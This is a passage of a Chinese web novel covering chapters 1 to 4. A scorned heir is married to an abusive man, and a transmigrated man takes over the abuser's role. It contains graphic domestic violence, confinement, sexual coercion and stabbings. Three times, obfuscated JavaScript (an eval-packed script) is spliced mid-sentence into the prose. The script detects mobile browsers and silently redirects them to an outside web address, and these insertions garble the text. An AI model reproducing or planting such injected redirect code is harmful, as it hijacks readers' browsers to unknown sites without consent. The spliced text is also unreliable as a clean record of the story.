《万人嫌替嫁后摆烂了》 1. 协议 【普天同庆,某著名学人精今天终于遭天谴了!】 【一秒解码,据说撞得很严重?不会是酒驾了吧,啧啧,果然是恶人自有天收。】 【有知情人说说他现在啥情况吗,咱就是说,能等到讣告吗?】 【知情人悄悄说一声,ymy已经醒了,伤势没传言里那么严重,性命无忧。】 【服了,这都不死,真是祸害遗千年!】 【校园霸凌的人全都不得好死!】 …… 恶毒刻薄的字眼占据了整个屏幕,每一句话都透着满满的恶意。 明夷麻木地滑动屏幕,一字一句,近乎自虐地逼迫自己,看完了所有的谩骂。 在其他人的眼里,他真的有这么差劲吗? 好像无论他做什么,最终的结果都是被所有人嫌恶。 明夷再次想起了车祸昏迷后,他做的那个梦。 在他的梦里,这个世界是一本团宠文,假少爷燕安才是真正的主角,而他燕明夷,不过是衬托燕安的对照组,一个可悲可笑的炮灰配角。 是啊,没有阴暗卑劣的炮灰,怎么衬托出主角的善良高尚? 炮灰的下场如果不够凄惨,又怎能让读者拍手称快? 所以在那个梦里,明夷最终只落得一个身败名裂,孤身沉海的结局。 而眼下,明夷已经身败名裂,再有一个月,他就会沉海而死。 按常理来说,明夷应该是要挣扎一下,试着去扭转自己的结局。 可明夷真的太累了。 明夷十四岁回家,为了获得周围人一点点的喜欢,他几乎把自己活成了燕安的影子,不断试着讨好所有人。 明夷本可以继续坚持下去的,可忽然有个梦告诉他:任凭你如何努力,你所做的一切都会是徒劳无功,因为设定就是如此。 如此可笑,如此……绝望。 明夷轻抚破碎的手机屏,半遮在额发后的眉眼变得阴郁。 也好,就到这里吧。他这被操纵的一生,原来根本没有挣扎的余地。 不如就此终结。 明夷看向窗外,今天天气十分晴朗,一缕阳光穿透玻璃照进病房,恰好落在了明夷的侧脸上,他苍白的皮肤几近透明,像是要融化在这过盛的阳光当中。 燕知衡进来时,看到的就是这么一副画面。 面色苍白的青年半靠在床头,因为额头上包着纱布,略长的额发被掀起,露出清晰眉眼,被阳光一照,完全不似往日般阴郁不讨喜。 燕知衡忽然发现,其实燕明夷长得很像母亲,一双眼睛漆黑润泽,睫毛纤长,可惜燕明夷不喜欢正眼瞧人,总是半阖着眼,眼尾朝下耷拉着,显得丧气没精神。 今天出了场小车祸,眼睛倒是睁开了,肯正眼看人了。 明夷那双黑白分明的眼睛朝他看了过来,眸色似点漆,黑沉沉的看不到底,燕知衡被他这么一看,心里莫名有点不舒服,口中淡淡嘲了句:“怎么,撞伤脑袋,不会叫人了?” “哥。”明夷喊了他一声,并未像往常一样没话找话,主动打开话题,燕知衡等待了一会儿,迟迟没等到下文,眉头不由微蹙。 将明夷的异常归咎于车祸后的不适,燕知衡主动提起了自己的来意:“那件事,你考虑得怎么样了?” 明夷仍是定定地看着他:“哥,你今天过来,只是想问我这件事吗?” 燕知衡再次感到了烦躁,虽然明夷的语气是平静的,但明夷的目光太过锐利,利刃般切开了平和的表象。 燕知衡抬手松了松领带,神色冷峻:“明夷,家里也是为了你好,你知不知道,网上现在都在说你什么?暂时退圈避避风头不好吗?” 顿了顿,燕知衡缓和了语气:“你要是实在想在娱乐圈闯出名堂,等协议到期,哥再给你砸资源,让你重回大荧幕。” 明夷眸光微微一暗,现在的他已经黑料满身,等他几年后回到娱乐圈,那些恶名怕是再也洗不脱了吧。 燕知衡见明夷不吭声,便继续道:“谢家不是燕家能抗衡的存在,你也过了不懂事的年纪,也该为家族考虑考虑。” “明夷,联姻是常有的事,谢云歇各方面条件都很优秀,跟他协议结婚,其实也是不错的选择。” 明夷冷不丁开口:“既然这么不错,怎么不让燕安去?谢云歇要的不就是燕安吗?” 燕知衡一噎,明夷已经替他回答:“因为谢云歇私下有见不得人的嗜好,手里也不干净,你们怕燕安联姻后受委屈,加上燕安哭哭啼啼找你们装可怜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这狗屎世界,他才不稀罕留在这里。 他不奉陪了。 2. 听不到的求救声 “明夷少爷,您回来了。” 明夷从车上下来,管家李伯已经侯在一旁了,明夷点了点头,目光扫过面前这座熟悉的别墅,低声道:“我回来收拾东西,家里有谁在吗?” “先生和太太都去参加晚宴了,这会儿只有大少爷在书房里。” 大概是顾忌着明夷和燕安之间的尴尬关系,李伯没有提及燕安。 明夷就懂了,燕安不在。 明夷上楼去了自己的房间,收拾了一箱子的东西出来。 反正他活不过一个月,就没想带上太多东西,但收拾到压在抽屉最底下的一小叠奖状时,明夷还是没忍住,用指腹轻轻摩挲了一下。 那些拼命学习的日子仍历历在目,可无论他如何努力,都永远比不过燕安。 永远都只能得到一个轻飘飘的“不错,再努力点就能考过安安了。” 当时的明夷既气愤又委屈,干脆将这些没用的奖状全部塞进了抽屉的最底下。 可现在明夷忽然想通了,它们虽然不是属于第一名的荣耀,但它们毕竟都是他走过的路、活过的证明。 明夷将这些奖状也放进了行李箱里。 无人在意的奖状,就跟着无人在意的他,一起陪葬吧。 在床底的一个小布袋里,明夷还找到了三只草编蚂蚱,因为时间过去很久了,原本翠绿的色泽都已经微微泛黄。 明夷恍惚间想了起来,这是他回家的前一晚偷偷编的,他本想将它们作为送给家人的小礼物,回家的车上,三只草编蚂蚱被他紧紧攥了一路。 可惜刚回到家,明夷就看到了母亲皱起的眉头,以及……躲在母亲身后偷看他的燕安。 三只草编蚂蚱藏在脏兮兮的布包里,终究没有机会送出去。 明夷合上行李箱,思索几秒,拿上三只草编蚂蚱,去了燕知衡所在的书房。 燕知衡在忙,脸上戴了副平光眼镜,镜片后的深邃眼眸投来没什么情绪的目光:“回来收拾东西?” 明夷“嗯”了一声,将手里的草编蚂蚱放在了燕知衡的办公桌上。 燕知衡目光下移,露出几分疑问,似乎理解不了他的行为:“这是什么?” “是我十四岁回来的那天,准备送给爸妈还有你的礼物。” 明夷从未想过,有一天,他能如此坦然地说出这些幼稚小玩意的由来。 不用担心被训斥,不用担心被嫌弃,因为他已经不在乎送出礼物后的结局。 果然,燕知衡很轻地皱了一下眉头,没去碰滑稽可笑的发黄蚂蚱,而是说:“爸妈和我不需要这种廉价礼物,你只要老实三年,少让爸妈操点心,就是最好的礼物了。” “……廉价?”明夷喃喃了一句,然后点了点头:“我知道了。” 终于得到了答案,明夷释然一般,转身便离开了书房。 莫名其妙地来,莫名其妙地丢下垃圾离开,燕知衡实在看不懂自己的亲弟弟,他随手用文件将三只草蚱蜢扫进垃圾桶里,继续工作。 明夷听到了垃圾桶闭合的声音,他脚步未停,没有回头。 之所以多此一举,也只是想替十四岁的自己完成心愿而已。 明夷推着行李箱离开了燕家。 流年不顺,网上黑料满天飞,品牌方拒绝合作,明夷的所有通告都被取消,和公司也走上了解约流程。 明夷屏蔽了外界所有的消息,走完了所有协议结婚的程序。 自始至终,谢云歇都未曾出面过。 谢云歇很忙,近期恰好飞去了国外,只派了个人将明夷接去了谢家,打扫出来的是个客房,显然对明夷并不上心。 不同于燕家,谢家属于顶级豪门,是燕家完全够不上的层次,谢云歇会跟燕家联姻,完全是因为看中了燕安。 燕安不肯联姻,联姻的人换成明夷,谢云歇不知为何也同意了。 别人不清楚原因,可做了那个梦的明夷却很清楚,谢云歇究竟为什么会选择自己。 第一个原因,当然是主角光环作祟,谢云歇是反派,作为团宠文的主角,燕安怎么可能被反派染指?当然是让恶毒炮灰替主角挡灾。 第二个原因,谢云歇对外是成功人士,实则患有不轻的躁郁症,因此,他需要一个能供他肆意发泄的私人玩具。 燕安在燕家太受宠了,并且还是个颇具影响力的明星——反倒是声名狼藉,不受重视的明夷更加适合这个角色。 想到这里,明夷苦笑一声。 行李箱放在一旁,没有打开,谢家的老管家进来看了一眼,皮笑肉不笑道:“少爷不喜杂乱的环境,在少爷还没回来之前,还请您保证家里的整洁。” 明夷淡淡道:“谢家这么多佣人,都是不干活的吗?” 刺头。 老管家一眼就能看出来,这位燕小少爷身上是有反骨的,不像是逆来顺受的主。 好在老管家跟了谢云歇这么多年,早已深谙整治刺头的手段。 老管家先是不轻不重地敲打了几句:“少爷喜欢听话的人,燕小少爷既然已经进了谢家,就得遵从谢家的规矩,否则惹怒了少爷,燕小少爷怕是要吃点苦头。” 然后进行威胁:“我看燕小少爷接下来也没别的行程,之后几天,就安心待在房间里吧。” 这是要软禁他的意思。 房间的门被锁上了,接下来的三天里,老管家不允许明夷出门,并且每天只给明夷吃一顿饭。 第四天傍晚,谢云歇回来了,明夷终于被允许离开房间,去餐厅用晚饭。 在餐桌上,明夷第一次见到谢云歇本人。 谢云歇五官立体,鼻梁高挺,还有一双灰蓝色的眼珠,显然是个混血,因为侧脸轮廓太过分明,便显得这种俊美极富攻击力,加上削薄抿紧的嘴唇,更透出一股不近人情的高高在上。 谢云歇无疑有一副深邃俊美的好皮囊,任谁来看,恐怕都不能透过这层皮囊,看到谢云歇暴虐的内里。 此刻,谢云歇的衬衣领开了两个扣,袖口挽起,露出有力的小臂和名表,手上的刀叉正慢条斯理地切着牛排。 直到明夷喊了一声“谢先生”,谢云歇才掀起眼皮,施舍般分给明夷一个眼神,挑剔地打量几眼,才苛刻给出评价:“长得还过得去,身材太差了,我喜欢屁股上有肉的。” 身处自己的地盘,谢云歇肆无忌惮,直接在明夷面前撕破伪装,迫不及待地露出兽性的一面。 “衣服脱了,跪在我身边伺候我。” 明夷沉默着没有回话,也没有动作。 谢云歇的声音变沉,隐约透出风雨欲来的危险感:“我耐心有限,别让我重复第二遍。” 明夷依然没有动作,他直勾勾地,毫无避让地直视谢云歇,脊背挺得笔直。 老管家见状,暗中摇头,带着佣人悄然退下。 几乎是下一秒,毫无预兆地,谢云歇突然发作,抓起餐盘,狠狠朝明夷头上砸了下去。 明夷立即闪避,稀里哗啦的碎裂声中,明夷余光看到谢云歇站起身,气势汹汹地朝他大步走来,紧接着,头皮传来尖锐的刺痛。 谢云歇一手揪住明夷的头发,手臂生风地重重挥下,不由分说地扇了他一巴掌,当下便打得明夷嘴角淌血,重重摔倒在地。 整个世界只剩下尖锐的耳鸣声,不等明夷喘息分毫,又是重重一脚踹在他的腹部。 明夷不得不像虾米一般地弓起身,以蜷缩的姿势抵御接下来的拳打脚踢。 不知过了多久,谢云歇才停下了殴打的动作,气喘吁吁地在明夷身边蹲下,掐起他的下巴,残忍地笑了:“没有人教过你,打不过别人的时候,最好别朝人伸爪子吗?” 明夷垂落的睫毛微微颤抖,勉强掀起眼皮,对上一双疯狂暴虐的猩红双眼。 此刻的谢云歇,简直就像一只来自地狱的魔鬼,嗜血成性,完全丧失人类应有的同理心。 “接下来几天,我都会在家,”谢云歇轻拍明夷煞白的脸,动作与抚摸宠物无异:“有的是时间陪你慢慢玩。” 明夷被拖回房间,由家庭医生上了药。接下来的几天,谢云歇确实如他所言,每天都会回来。 谢云歇试图将明夷调.教成一个合心意的宠物,可明夷偏有一身的硬骨头,随着明夷忤逆他的次数越来越多,谢云歇也变得越发暴躁。 明夷心知,谢云歇的耐心很快就会耗尽。 明夷可以清晰地听到,死亡的脚步正在不断朝自己逼近,原本明夷已经放弃了活下去的念头,可临到关头,那股强烈的不甘却再次涌了上来。 就再试最后一次。 万一呢,万一……还有人在乎他呢? 又是一次猫捉老鼠的游戏,游戏开始前,谢云歇故意给了明夷三分钟的逃跑时间,明夷躲进了一个柜子里,抖着手拨打了燕知衡的电话。 电话里嘟嘟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090634|163640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几声,五秒后,燕知衡接了电话:“明夷,怎么了?” 明夷无神地望着黑暗的虚空,哑声说:“哥,你能不能……来谢家接我?” 燕知衡:“你跟谢云歇闹矛盾了?是不是你做错了事,惹怒了谢云歇?” 接着,燕知衡叹了口气,语带疲惫道:“明夷,你都快二十一岁了,能不能跟安安学学,不求你像安安一样懂事,至少体谅一下家人……” 明夷木然称述:“他打我,很痛。” 燕知衡顿了一下:“那你先去酒店住几天吧,我在对接谢氏的项目,很忙,过几天就去看你。” 电话断了,明夷僵硬地动了动手指,又打给了通讯录里的“妈妈”。 沈莉蓉同样接起了电话,语气匆忙:“明夷,怎么这个点打电话过来,有事吗?” 明夷对着碎裂的屏幕,抱着最后一点期待问:“妈妈,你可以来谢家接我吗?” 沈莉蓉的话语仍是匆匆忙忙的:“我在隔壁市给安安探班呢,你要是想回家,就给家里的司机打电话——不说了啊,妈妈还有事。” 最后一点希望的光,彻底从明夷的眼中熄灭了。 大滴大滴的眼泪砸在显示着“通话结束”的屏幕上,直到这一刻,明夷才彻底确定,他真的被所有人抛弃了。 柜子外的脚步声不紧不慢地逼近,隔着一扇柜门,恶魔般的声音忽然带着笑意响起。 “找到你了。” 柜门被猛然打开,随即一只大手伸了过来,野蛮地将明夷拽出了柜子。 “想打电话求救吗?”谢云歇冷笑一声,皮鞋重重碾上了本就破碎的屏幕,连带着明夷的手指一起踩在脚下,谢云歇微微俯身,那张俊美的脸上露出充满恶意的残忍之色:“没人会救你,因为你就是一条没人要的丧家之犬,我随便花点小钱,就能把你从你燕家手里买走。” “多么可怜啊,只有我,愿意给你一个容身的地方,燕明夷,你该感谢我的。” “还记得输了游戏的下场吗?”谢云歇点了点皮鞋,傲慢地示意:“舔吧。” 可下一秒,谢云歇却微微皱起了眉。 因为匍匐在他脚边的明夷,竟然低低笑了起来。 那笑声越来越大,满含着嘲弄和疯狂。 “你算什么东西?不过也是一条疯狗而已。” 明夷抬起脸,露出一张染血的脸,黑色额发已经被冷汗沾湿,乱七八糟地贴在额头上,耷拉的眼睛全然睁开,那副平日显得冷酷的眉眼,此刻在鲜血的衬托下,竟显得格外灼烈艳丽。 “凭什么,你这种卑劣的东西都能决定我的生死?” 谢云歇喉咙滚动了一下,兴致更浓,他当即抽开皮带,甩在地上,俯身按住明夷,就要动作。 然而下一秒,有什么冰冷而锋利的东西抵在了他的腹部。 是一把餐刀。 为了让晚上的游戏玩得更加尽兴,谢云歇大发慈悲,给明夷吃了一顿晚饭。 谢云歇喜欢吃西餐,今晚的餐品里,恰好出现了牛排。 于是明夷悄悄顺走了一把餐刀。 明夷的报复心很强,那时明夷就做好了决定,如果没人救他,那么他也要一换一,带走谢云歇的狗命。 明夷手上用力,漠然道:“跟我一起下地狱吧。” 餐刀狠狠破开腹腔,一路往下。 楼下装聋作哑的管家和佣人们,忽然同时听到了一声凄厉的惨叫。 刚开始,他们还以为那声音是明夷发出来的,还是老管家越听越不对,领着一行人匆匆赶到楼上,才知道究竟发生了什么。 谢云歇倒在地上,腹部的衣料完全被鲜血染红,而明夷一身鲜血地坐在一旁,惨白的脸上甚至还留着一抹微笑,诡异得如同鬼魅。 老管家眼前一黑,险些昏死过去,他捂着胸口,急喘着喊保镖控制住明夷。 明夷没理会朝自己袭来的电棍,浑身抽搐着倒下了。 倒下前,明夷心中只闪过一个念头—— 终于结束了啊…… 从今以后,他终于不会再疼了。 也不会再难过了。 彻底昏迷之前,明夷隐隐听到了一声急促变调的电子音。 【滴——警告!警告!!】 【反派……死亡……世界线……严重偏移】 可惜明夷还没来得及听清完整的内容,便彻底昏死了过去。 3. 梦境两端 “你是说,我被车撞死了?只有给你这个幺蛾子反派系统办事,才能继续活命!” 性冷淡风的黑白灰房间里,谢云歇靠在床头,柔软的缎面被半搭在腰腹上,对着空气露出质疑神色:“为什么非要我来扮演,你都有能力把我拉过来了,复活一下那个渣男不是轻轻松松?” 反派扮演系统:【系统无法对书中的主要角色进行复活操作。】 谢云歇听笑了:“你的意思是,你不能操作书里角色,但能操作书外角色,是吧?” 【可以这么理解。】 谢云歇勉强相信了这个解释:“那你说说,我需要做什么?” 一提这个,系统的电子音立即发生了波动:【你需要扮演反派,正确推动剧情发展!】 系统在谢云歇的面前弹出一个透明页面,上面列着三项内容:暴虐值、剧情完成度、主角爽度。 【暴虐值:反派在文中贡献了不少血腥暴力的剧情,暴虐值就是宿主需要达到的恶毒标准,实现方式包括但不仅限于:殴打他人,辱骂,雇佣伤人,恐吓,性~暴.力等等……】 【剧情完成度:顾名思义,为了防止世界线走偏,每个关键节点的剧情都需要好好完成。】 【主角爽度:反派的存在就是为了给主角当踏脚石、衬托主角的真善美、推动主角攻受的恋爱进度条,宿主只需好好扮演反派,每达成其中一项内容,主角爽度都会增加。】 谢云歇眯起眼:“更详细一点呢?” 【根据反派人设,宿主每天需达到100暴虐值】 【剧情完成度由系统评判,越贴合原著,完成度越高。】 【主角爽度包括规定项目和额外加分项目,宿主只需完成规定项目,额外加分项目选做。】 【剧情完成度达到100%,宿主可在原世界复活。】 “听上去是笔划算的买卖,”谢云歇思忖片刻,很快做了决定:“行,我答应了,接下来我要做什么?” 反派扮演系统很快刷新出新任务。 【短期任务,按照原剧情,继续虐待恶毒炮灰燕明夷……】 任务还没刷新完,谢云歇忽然瞳孔地震:“等等,你说虐待谁!” 系统不明白谢云歇为何会突然激动:【恶毒炮灰燕明夷啊。】 谢云歇一时哑然:“这个世界的主角……不会叫燕安吧?” 【正是。】 谢云歇暗骂了一声,完全没想到,世界上竟真有如此巧合之事。 因为出车祸前,他看的就是这本名为《无限宠爱》的团宠文。 谢云歇只是在堵车时闲着无聊,随手点开看了眼,没想到开头就被气到。 真少爷明夷明明那么努力那么优秀,怎么可能会被所有人厌恶?作者是脑子有问题吗? 谢云歇是跟着明夷的视角看的,他本以为明夷是主角,苦过前面的十四年,等他回家,一切都会好起来,可之后谢云歇才发现,主角似乎不是明夷,而是假少爷燕安…… 一切都没有好起来,因为一个莫须有的黑料,明夷被娱乐圈抵制,又得不到家里人的支持,只能走上联姻的路,偏偏所托非人!跟他同名同姓的反派谢云歇天天虐待明夷,把谢云歇恶心得够呛。 而且这个作者好像跟明夷有仇似的,非要将明夷在谢家过的那段痛苦日子描写得十分详细,明夷是怎么被打得浑身青紫,怎么被塞进行李箱里沉海……全都写得一清二楚。 谢云歇又气又急,有一种无法把手伸进去扇反派的无力感,他实在没忍心继续看下去,切到评论区怒骂作者八百小作文,再保存了一堆画手们为明夷创作的人设美图,这才憋着股火气息屏。 ——然后就发生了车祸,死了。 谢云歇心中忽然一惊,如果这里就是《无限宠爱》的世界,那么明夷现在在哪? 谢云歇掀开被子下床,为了掩饰略显迫切的动作,谢云歇故作冷静地问:“恶毒反派现在在哪?” 【行李箱里。】 冷静不了一点!谢云歇忍无可忍地骂了一声:“你他妈怎么不早说!” “他怎么会在行李箱里?距离沉海剧情不是还有一个月吗!” 系统也感到委屈:【反派一死,世界线偏移,很多剧情跟着乱了,所以才让宿主掰正剧情,让世界线重回正轨啊。】 谢云歇急忙往外走,都走到门口了,在系统的提醒下才勉强想起人设,绷着脸喊了个管家过来:“明夷呢?” 反派谢云歇意外死亡,导致世界线严重偏移,系统虽然无法复活重要反派,但它能修正一些小配角的记忆。 当时目睹谢云歇死亡的人,全部被系统替换了记忆,此刻在他们的印象里,谢云歇只是受了一点轻伤。 提起明夷,老管家立即露出刻薄不满的愤懑神色:“他对少爷您那般不敬,我就把他关进了箱子里,让他在里面好好反省反省。” 谢云歇强忍着殴打老人的冲动,阴沉着脸说:“他是我的宠物,我有允许你们动他吗?” 【滴——暴虐值+5】 老管家看出谢云歇神色不对,呐呐地闭住了嘴。 在一个黑漆漆的房间里,谢云歇找到了被塞进行李箱的明夷。 等不及老管家慢腾腾的动作,谢云歇一把将老管家搡开,自己蹲下,快速打开了拉链。 看清行李箱里的景象后,谢云歇眉头狠狠一皱。 苍白瘦削的青年以折叠蜷缩的姿势侧躺在窄小的箱子里,双臂扭曲地抱在身前,宛如羊水中的婴儿,被泪水沾湿的睫毛分成了几簇,气息奄奄。 明夷虽然身形偏瘦,但毕竟已经是个成年人,一个成年人被塞进如此窄小的行李箱里,该会感到多么的窒息难受? “去把医生叫来,”谢云歇头也没回地吩咐了一句,尽量小心地将明夷从行李箱里挖出来。 僵硬冰冷的身体抱在怀里,竟然轻得可怕,谢云歇一愣,原文里的几段剧情忽然闪过脑海。 谢云歇的后槽牙不由咬紧了。 妈的,他想起来了,原文里那个姓谢的人渣,连饭都不给明夷吃。 明夷的脑袋无力地倚在谢云歇的肩上,似乎被谢云歇的动作弄醒了,谢云歇听到他在哽咽地说着什么,不由凑近去听。 “妈妈……” 明夷做了一个很好很好的梦。 他梦到十四岁那年他回到家,怀着满心的忐忑,犹豫着踏进看上去豪华大气的大门,迎接他的不再是家人的冷待,而是一个温暖的拥抱。 “我的宝宝……我的宝宝终于回来了,”母亲紧紧抱着他,没有在意他身上洗得浆白的破旧衣服,又哭又笑:“在外面是不是过得很不好?不怕,以后我的宝宝都不会再吃苦了。” 明夷感到了一种迟来的幸福感,他腼腆地抿唇笑笑,摊开手心,将手中紧攥了一路的草编蚂蚱递出。 家人们没有嫌弃廉价的草编蚂蚱,而是纷纷夸他手巧,哥哥嘴上嫌弃他的礼物幼稚,但身体还是诚实地将草编蚂蚱摆在了床头。 热腾腾的饭菜香气中,他的碗被家人们夹来的菜堆成小山,明夷像仓鼠一样努力地往嘴里塞菜,但怎么吃都吃不完。 明亮的灯光落在身上,寒意消散了个干净,浑身都暖融融的。 真暖和啊…… 周围的光倏忽暗了下去,言笑晏晏的家人瞬间被黑暗吞噬,源源不断的冷意袭来,将明夷强行从温暖的幻梦中拖回现实。 明夷的脑袋嗡嗡作响,隐约听到了模糊的对话声。 “高烧38.9,已经挂上点滴了,接下来……最好让他静养。” “他身上还有没有其他伤?” 熟悉的声音如利刃般,强势劈开了混沌的思绪。 明夷心中悚然一惊,他清晰地记得,自己是如何用餐刀切开那个人渣的腹腔,可为什么,谢云歇还活着? 是他临死前的幻觉吗?还是说他已经死了,这里其实是地府? 另一边,医生揣摩着谢云歇的态度,欲言又止片刻,委婉道:“最好是能去医院仔细看一下。” 谢云歇心烦意乱,自己不爽,就要让别人更不爽,直接当着所有人的面开始发疯:“治不好他,我要你们所有人都陪葬!” 【滴——暴虐值+5】 谢云歇心中一动,果然,只要根据人设说点垃圾话,就能拿分数。 说垃圾话是最轻的语言暴力,所以只加5点暴虐值。 换成殴打他人,暴虐值应该会涨得更快。 为了验证猜测,谢云歇回身就给了老管家一拳:“谁让你自作主张虐待他的?老东西,我给你脸了是不是?” 这一拳给老管家完全不冤,这老东西坏得很,不仅对反派的违法行为视而不见,还喜欢助纣为虐。 这么喜欢看别人挨打,自己也尝尝拳头的滋味吧。 老管家完全没想到少爷会突然发难,回身给自己一拳,他老胳膊老腿的,险些被一拳打翻在地。 老管家颤巍巍地扶住床尾,捂住脸,不敢置信地看向脸色阴鸷的自家少爷,声音颤抖:“少爷,您、您怎么可以……” 少爷打别人就算了,怎么能打他?他可是看着少爷长大的啊! 少爷脾气坏是坏,以前从没对他动过手,怎么今天突然…… 谢云歇面无表情地看着他,像看着一个死人:“刘管家,我看你是真老糊涂了,都认不清自己的身份了。” 老管家对上他的目光,莫名感到了一阵胆寒,他下意识避开视线,不敢再看谢云歇,也不敢再叫苦,战战兢兢道:“是、是我的错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090635|163640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不该未经少爷允许,随意处置燕小少爷。” “你知道就好。”谢云歇漫不经心地擦拭了一下手背,如愿听到了系统的播报声。 【滴——暴虐值+30】 一拳能加30点暴虐值? 谢云歇已经开始在脑海里罗列施害者名单,准备去找那些人刷分了。 还是穿书好啊,弥补了不能把手伸进去扇煞笔的遗憾。 系统好像终于意识到了不对,发出尖锐爆鸣,质问他:【宿主,你在干什么!】 “做任务啊,”谢云歇很认真地在脑海里说:“你不是说一天要拿到100点暴虐值吗,我在认真按你的要求做。” 系统:【那你也不能打老管家,老管家是反派的心腹,反派从没对老管家动过手!】 “从来如此,便对吗?”谢云歇镇定反问:“反派显然是个超雄Alpha,这种人阴晴不定,随时随地都能发疯,怎么可能会对一个老登手下留情?你说对不对?” 系统有点被他饶进去了:【可是……】 “没有可是,你想,连身边的心腹都能下手,是不是更能凸显出反派的冷血无情?” 谢云歇打断系统的话,循循善诱:“而且你管这么多干什么,暴虐值到手不就行了?你就说吧,我扮演反派扮演得好不好?” 系统犹犹豫豫:【好是挺好的,你疯起来跟反派完全没两样。】 “那不就行了?”谢云歇道:“老管家就是一无关紧要的小角色,我偷偷打他,他又不会出去告状,影响不到世界线的。” 系统听到这里,也觉得有道理,宿主确实有在努力扮演反派啊,它也不能一上来就对宿主太苛刻。 被宿主的操作吓了一跳,这会儿系统也伪装不出最开始的高冷了。 【这次就算了,那你接下来要好好虐待恶毒炮灰哦。】 谢云歇很好说话:“当然。” 所有无关人士都被赶了出去,谢云歇往床边一坐,打算整理一下思路,顺便给明夷看着点滴。 安静的房间里,忽然响起一道疲惫嘶哑的声音: “果然……梦都是相反的。” 谢云歇视线从点滴上挪开,下移,发现明夷不知何时已经醒了,半睁着眼,静静看着自己。 谢云歇微微一怔。 明夷无疑是很好看的,画手们为他创作的人设图张张精美,连谢云歇都忍不住全部保存,哪怕明夷落到这样的境地,那张脸也有着某种脆弱苍白的破碎美感。 原文里从未提过明夷的信息素是什么味道,但谢云歇猜测,明夷的信息素,一定会是某种生命力坚韧的植物香气。 谢云歇下意识在空气里嗅嗅,却意外地没闻到omega信息素的味道。 明夷的后脖颈没有抑制贴,也就是说……明夷不是omega?而是beta? 刚刚的情况太过混乱,谢云歇一心想着赶紧把明夷从行李箱里救出来,没空留意其他,直到这会儿,谢云歇才忽然意识到,自从来到这里后,他见过的所有人……好像都是beta? 谢云歇将自己的疑虑告知系统,系统答道:【因为这是一本不含abo世界观的小说,所以,这个世界里的所有人都是beta。】 什么!这是一个全是beta的世界? 谢云歇如遭雷劈。 怪不得文中迟迟没有描述明夷的信息素味道…… 谢云歇心情复杂,端了一杯水过来:“渴了没有?喝点水吧。” 【滴——警告!宿主行为不符人设,电击惩罚一次!】 一阵电流袭来,谢云歇被电得浑身一颤,没能拿稳手中的玻璃杯,“砰” 的一声,玻璃杯四分五裂,水溅了一地。 明夷的目光跟着那只玻璃杯下移,眼底没有分毫神采。 谢云歇的腹部没有受伤,他以为他杀了谢云歇,其实也只是做的一个美梦而已。 但没关系,他可以把梦境变成现实。 谢云歇还没从强效电击中缓过神,忽然,明夷动了,他猛地翻身,伸长胳膊拾起了地上的一块碎玻璃,然后——毫不犹豫地用它扎向谢云歇的动脉。 系统措不及防,再次发出尖锐爆鸣。 还来!!! 要是宿主也死了,它上哪再找一个这么像的人扮演反派! 即将刺中谢云歇脖颈的尖锐玻璃,在距离谢云歇仅剩1㎝的地方,被一只手险险截住。 谢云歇紧攥着那块碎玻璃,不顾手心溢出来的鲜血,语速极快地对他急声说:“你先冷静一下,说起来你可能不信,其实我是穿越来的Alpha,我真的不是谢云歇本人啊!” 闻言,明夷心中只涌出淡淡的嘲讽。 谢云歇这个人渣,果然已经疯了。 4. 合作 殷红的鲜血沿着手腕蜿蜒而下,滴落在地。 明夷面色苍白至极,眸光却发狠,他加大手上的力道,试图跟谢云歇角力,将那块碎玻璃送进谢云歇的咽喉。 好在谢云歇也逐渐从刚刚的电击中缓了过来,他抬起另一只手,攥住明夷细瘦青紫的手腕,将那块玻璃从明夷手里强行夺了过来。 然后按住不老实的病人,强行将明夷按回床上。 明夷本来就已经是强弩之末,做出这一系列动作后,便彻底脱力。 因此,饶是明夷满心不甘,也只能任由谢云歇摆布。 头脑昏昏沉沉,浑身都酸痛无比,明夷知道自己可能是发烧了,他紧盯着床边高大的男人,不敢轻易放松下来。 谢云歇正低着头看手心的伤口,眉头轻皱,那双灰蓝色的眼中像是盛满了戾气,阴沉沉的。 又要被打了吗?明夷心中平静无波,他并不后悔刚刚的所作所为,唯一后悔的,就是自己动手的速度不够快,没能再杀谢云歇一次。 不出明夷所料,下一秒,那双眼睛便冰冷地朝他瞥来。 “下手真狠啊。”谢云歇不带情绪地点评了一句。 明夷没有任何反应,神情平静,近乎麻木地等待着即将落下的拳头。 没有成功杀死谢云歇的代价是巨大的,他可能会被谢云歇更残忍地折磨,落得比沉海更悲惨的下场。 明夷只是不甘心。 他反抗谢云歇,就像是在反抗自己被框死定格的命运。 可到头来,命运也还,谢云歇也好,明夷依旧没能摆脱束缚着他的一切。 预料中的拳头却迟迟没有落下。 谢云歇拖了张椅子过来,反而摆出了一副促膝长谈的架势。 “我知道你很急,你先别急,我刚刚是说真的,我真的不是之前那个谢云歇。” 又开始说疯话了,明夷面无表情地看着天花板,目光放空,思考着这场漫长的折磨什么时候能结束。 好饿,好痛,好累。 